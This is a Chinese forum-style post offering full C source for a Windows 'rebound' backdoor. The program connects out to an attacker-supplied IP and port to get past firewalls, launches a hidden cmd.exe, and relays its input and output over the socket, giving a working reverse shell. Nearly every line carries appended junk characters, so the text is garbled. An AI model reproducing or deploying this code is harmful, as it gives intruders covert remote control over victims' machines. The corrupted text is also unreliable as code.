这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )QS4Z{)U
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/* ============================== Fr/3Qp@S
Rebound port in Windows NT ? ->:,I=<~
By wind,2006/7 dm;H0v+Y'
===============================*/ J!r,ktO^U?
#include (`h$+p^-y
#include *{/
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#pragma comment(lib,"wsock32.lib") + <AD
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void OutputShell(); j/"{tMqQp
SOCKET sClient; ^wesuW@=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eHr|U$Rpo
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void main(int argc,char **argv) pE.f}
{ :C6
WSADATA stWsaData; ANB@cK_
int nRet; \\;i
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) ~<b/%l>h1
{ lR]z8&
printf("Useage:\n\rRebound DestIP DestPort\n"); "JI FF_
return; 5)X;q-
} WXz'H),R
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WSAStartup(MAKEWORD(2,2),&stWsaData); C? pi8Xg
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J[E_n;d1
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stSaiClient.sin_family = AF_INET; {ctEjgiE
stSaiClient.sin_port = htons(0); /7W N,a
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cBICG",TA
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "-aak )7w
{ JNhHQvi\
printf("Bind Socket Failed!\n"); HU[a b
return; 0Y rdu,c
} RiHOX&-7
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stSaiServer.sin_family = AF_INET; a^yBtb~,P
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lZT9 SDtS
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Xk#"rM< Y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J6x#c`Y
{ (!FUu
printf("Connect Error!"); ftBbO8e
return; =gI;%M\'
} 8`bQ,E+2
OutputShell(); |$[WnYP
} a[TR_uR
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void OutputShell() uK6_H vHuy
{ 3f'dBn5
char szBuff[1024]; 3L2@C%
SECURITY_ATTRIBUTES stSecurityAttributes; .Q'/e>0
OSVERSIONINFO stOsversionInfo; q^{Z"ifL
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k2>gnk0
STARTUPINFO stStartupInfo; zqEMR>px
char *szShell; Uh.XL=wY
PROCESS_INFORMATION stProcessInformation; e">$[IhXtV
unsigned long lBytesRead; M%=V vE.I
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C)^FRnb
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u<8 f;C_
stSecurityAttributes.lpSecurityDescriptor = 0; {"<6'2T3
stSecurityAttributes.bInheritHandle = TRUE; ml7nt0{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _4E .
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U)oH@/q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )c9]}:W&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k<b`v&G
stStartupInfo.wShowWindow = SW_HIDE; u15-|i{y7
stStartupInfo.hStdInput = hReadPipe; F8 *e
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Eyw)f>
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GetVersionEx(&stOsversionInfo); h&|wqna
}z/;^``
switch(stOsversionInfo.dwPlatformId) 5+U2@XV
{ (nP 6Xq
case 1: ciKkazx.
szShell = "command.com"; \Ol3kx|
break; }gw
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default: 8J|pj4ce
szShell = "cmd.exe"; gI^);JrTE
break; M1._{Jw5
} nquKeH
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gv=mz,z
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send(sClient,szMsg,77,0); 1](5wK-Z
while(1) 6bL+q`3>
{ 7?6?`no~JJ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )k5lA=(Yr+
if(lBytesRead) 3#>;h
{ U^_'e_)
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yQwj[
send(sClient,szBuff,lBytesRead,0); m35Blg34
} A`4Di8'Me
else Q(lj&!?1k
{ |_l\.
lBytesRead=recv(sClient,szBuff,1024,0); UA4Q9<>~
if(lBytesRead<=0) break; }g WSV
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U\S%Jq*
} ?p{xt$<p
} \jn[kQ+pJ
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return; %gd=d0vm
}